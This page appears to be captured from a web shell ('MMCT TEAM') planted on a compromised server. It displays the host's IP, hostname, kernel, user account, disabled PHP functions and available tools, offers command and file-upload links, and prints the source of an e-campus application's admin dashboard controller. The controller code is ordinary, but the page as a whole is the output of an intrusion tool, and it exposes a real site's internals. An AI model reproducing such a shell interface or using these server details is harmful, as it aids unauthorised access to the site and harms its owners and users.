MMCT TEAM
Server IP : 103.191.208.50  /  Your IP : 216.73.216.53
Web Server : LiteSpeed
System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64
User : celkcksm ( 1031)
PHP Version : 7.4.33
Disable Function : show_source, system, shell_exec, passthru, popen, exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/celkcksm/ecampus.ncriptech.com/application/controllers/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/celkcksm/ecampus.ncriptech.com/application/controllers/admin/Dashboards.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');


/**
 * 
 */
class Dashboards  extends BaseAdminController
{
    protected $inst_id='';
    protected $inst_parent_id='';
    protected $branch_parent_inst_id='';
    protected $user_id='';
    protected $inst_code='';
    protected $inst_ph='';
    protected $inst_email='';
    protected $inst_type='';
    protected $user_type='';
    protected $seatbooking_view_access='';
    protected $seatbooking_add_access='';
    protected $seatbooking_del_access='';
    protected $seatbooking_edit_access='';
    protected $student_upload_limit='';
    protected $student_data_can_be_uploaded='no';
    protected $course_fees_edit_access='no';
    protected $course_booking_fees_edit_access='no';

    function __construct()
    {
        parent::__construct();

        $institute_data=check_institute($this->data['userdata']);

        $this->user_type=$this->data['userdata']->user_type;

        $this->inst_id=$institute_data['institute_id'];
        $this->inst_parent_id=$institute_data['inst_parent_id'];
        $this->branch_parent_inst_id=$this->data['userdata']->branch_parent_inst_id;
        $this->inst_ph=$this->data['userdata']->inst_ph;
        $this->inst_email=$this->data['userdata']->inst_email;
        $this->user_id=$this->data['userdata']->user_id;
        $this->inst_code=$institute_data['inst_code'];
        $this->inst_type=$institute_data['inst_type'];
        $this->user_type=$institute_data['user_type'];
        $this->seatbooking_view_access=$institute_data['seatbooking_view_access'];
        $this->seatbooking_add_access=$institute_data['seatbooking_add_access'];
        $this->seatbooking_del_access=$institute_data['seatbooking_delete_access'];
        $this->seatbooking_edit_access=$institute_data['seatbooking_edit_access'];
        $this->student_upload_limit=$institute_data['student_upload_limit'];
        $this->student_data_can_be_uploaded=$institute_data['student_data_can_be_uploaded'];
        $this->course_fees_edit_access=$institute_data['course_fees_edit'];
        $this->course_booking_fees_edit_access=$institute_data['course_booking_fees_edit'];
    }

    function index(){
       
        if(session_userdata('isAdminLoggedin')){

            $this->data['page_title']='Dashboard';

            $user_id=$this->user_id;

            if($this->user_type=='student'){
                $dashboard='dashboards/vw_dashboards_students';
            }else if($this->user_type=='agent'){
                $dashboard='dashboards/vw_dashboards_agents';
            }
            else{

                $total_students=$this->um->get_total_students(null,$this->inst_code);


                $total_booking=$this->fm->_get_payments_total(array('details_inst_id'=>$user_id,'details_type!='=>'agent_payment'));

                if(!empty($total_booking) && isset($total_booking[0]->total)){
                    $_total_booking=$total_booking[0]->total;
                }else{
                    $_total_booking=0;
                }

                //$total_income=$this->fm->_get_payments_total(array('details_inst_id'=>$user_id,'details_accounting_type'=>'income'));

                $total_expenditure=$this->fm->_get_payments_total(array('details_inst_id'=>$user_id,'details_accounting_type'=>'expenditure'));

                if(!empty($total_expenditure) && isset($total_expenditure[0]->total)){
                    $_total_expenditure=$total_expenditure[0]->total;
                }else{
                    $_total_expenditure=0;
                }

                $total_income=$_total_booking-$_total_expenditure;

                $total_income_percentage=($total_income>0)?(($total_income*100)/$_total_booking):'0';

                $this->data['total_income_percentage']=number_format($total_income_percentage,2);

                $total_expenditure_percentage=($_total_expenditure>0)?(($_total_expenditure*100)/$_total_booking):'0';

                $this->data['total_expenditure_percentage']=number_format($total_expenditure_percentage,2);

                $this->data['total_income']=number_format($total_income,2);
                $this->data['total_expenditure']=number_format($_total_expenditure,2);
                $this->data['total_booking']=number_format($_total_booking,2);
                $this->data['total_students']=$total_students;

                $dashboard='dashboards/vw_dashboards';
            }

            $this->theme->title($this->data['page_title'])->load($dashboard, $this->data);
        }
        else{

            redirect($this->data['base_url']);
        }
    }



}

MMCT - 2023